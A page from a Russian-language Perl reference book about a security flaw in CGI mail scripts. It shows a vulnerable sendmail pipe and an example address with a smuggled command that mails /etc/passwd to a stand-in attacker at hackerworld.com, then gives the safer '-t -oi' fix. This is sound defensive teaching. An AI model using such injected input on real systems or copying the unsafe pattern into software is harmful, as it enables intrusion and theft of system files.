Perl - специальный справочник


           

Perl. Специальный справочник - стр. 322


Одной из серьезных прорех в безопасности является чувствительность сценариев отправки почты к данным, переданным в email.cgi. При открытии канала к программе sendmail нельзя передавать введенный пользователем обратный адрес непосредственно ей, как это делают многие сценарии:

open(MAIL,"| /usr/lib/sendmail $emailaddress");

Отправка почтовых сообщений из CGI-сценария

Дело в том, что пользователь может ввести метасимволы в поле адреса, в результате чего канал сделает существенно больше, чем вы предполагали. Например, если пользователь введет в качестве адреса такую строку:

anon@someserver.com;mail hacker@hackerworld.com</etc/passwd;

то функция open фактически выполнит вот такую команду:

/usr/lib/sendmail anon@someserver.com; mail hacker@hackerworld.com</etc/passwd

Эта команда отсылает системный файл паролей на адрес hacker@hackerworld.com, что явно не входит в ваши намерения. Чтобы обойти эту проблему, вместо почтового адреса следует указать ключ -t:

open(MAIL, '| /usr/lib/sendmail -t -oi');

print MAIL <<EOF;

To: steve\@yourserver.com

From: $from

Subject: $subject

$text

EOF

close MAIL;

В результате sendmail получит адрес из поля To:. (Для программы sendmail точка, введенная в начале новой строки при интерактивном вводе текста сообщения, сообщает, что текст сообщения закончен. Ключ -oi указывает, что sendmail не должна прерывать работу, а сообщение следует отправить, как только встретится строка, начинающаяся с точки, — в прежние времена команды электронной почты, начинающиеся с точки, могли быть включены непосредственно в сообщение. Фактически, для email.cgi это неважно, и оставлено это лишь для чтения адреса непосредственно из кода.)

Сценарий email.cgi написан так, чтобы вы могли изменить его, если захотите позволить пользователю вводить адрес получателя, — в таком случае будьте осторожны, так как люди могут использовать такой сервис для посылки полуаноним ных сообщений с вашей страницы (пользователь сам вводит адрес в поле From:). Хотя получатель легко определит, что письмо пришло с сервера вашего провайдера, просмотрев заголовок сообщения: все, что он увидит в качестве имени фактического отправителя, — это адрес nobody@localhost в одном из полей From:. Однако провайдер, проверив идентификатор сообщения, отследит путь сообщения от вашей страницы.




Содержание  Назад  Вперед